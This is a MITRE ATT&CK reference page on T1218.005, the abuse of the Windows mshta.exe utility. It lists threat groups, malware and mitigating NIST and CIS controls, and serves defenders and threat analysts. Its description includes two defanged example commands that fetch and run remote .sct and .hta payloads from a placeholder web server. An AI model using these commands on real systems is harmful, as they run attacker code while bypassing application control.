MITRE ATT&CKsub-technique
T1218.005 Mshta
- Domain
- enterprise
- Tactics
- Stealth
- Platforms
- Windows
- Version
- 3.0
- Created
- 2020-01-23
Description
Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.
Related
Subtechnique of · MITRE ATT&CK (1)
- T1218 System Binary Proxy Execution technique
Tactic · MITRE ATT&CK (1)
- TA0005 Stealth tactic
Referenced by MITRE ATT&CK · mitigates (2)
Referenced by MITRE ATT&CK · uses (30)
- S1213 Lumma Stealer software (malware)
- S1155 Covenant software (tool)
- G1018 TA2541 group
- C0015 C0015 campaign
- C0016 Operation Dust Storm campaign
- G1008 SideCopy group
- G1006 Earth Lusca group
- G0142 Confucius group
- G0140 LazyScripter group
- G0129 Mustang Panda group
- G0127 TA551 group
- S0589 Sibot software (malware)
- G0121 Sidewinder group
- S0455 Metamorfo software (malware)
- G0100 Inception group
- S0414 BabyShark software (malware)
- G0094 Kimsuky group
- S0379 Revenge RAT software (malware)
- S0341 Xbash software (malware)
- G0082 APT38 group
- S0250 Koadic software (tool)
- G0069 MuddyWater group
- S0223 POWERSTATS software (malware)
- S0228 NanHaiShu software (malware)
- G0050 APT32 group
- G0016 APT29 group
- G0032 Lazarus Group group
- G0046 FIN7 group
- G0047 Gamaredon Group group
- S0147 Pteranodon software (malware)
Referenced by Compliance · mitigates (12)
- CIS-2.5 Allowlist Authorized Software CIS Safeguard v8.1
- NIST-CM-11 User-installed Software NIST 800-53 control
- NIST-CM-2 Baseline Configuration NIST 800-53 control
- NIST-CM-6 Configuration Settings NIST 800-53 control
- NIST-CM-7 Least Functionality NIST 800-53 control
- NIST-CM-8 System Component Inventory NIST 800-53 control
- NIST-RA-5 Vulnerability Monitoring and Scanning NIST 800-53 control
- NIST-SI-10 Information Input Validation NIST 800-53 control
- NIST-SI-16 Memory Protection NIST 800-53 control
- NIST-SI-3 Malicious Code Protection NIST 800-53 control
- NIST-SI-4 System Monitoring NIST 800-53 control
- NIST-SI-7 Software, Firmware, and Information Integrity NIST 800-53 control
References
- https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html FireEye Attacks Leveraging HTA
- https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html FireEye FIN7 April 2017
- https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/ Airbus Security Kovter Analysis
- https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf Cylance Dust Storm
- https://lolbas-project.github.io/lolbas/Binaries/Mshta/ LOLBAS Mshta
- https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/ Red Canary HTA Abuse Part Deux
- https://msdn.microsoft.com/library/ms536471.aspx MSDN HTML Applications
- https://en.wikipedia.org/wiki/HTML_Application Wikipedia HTML Application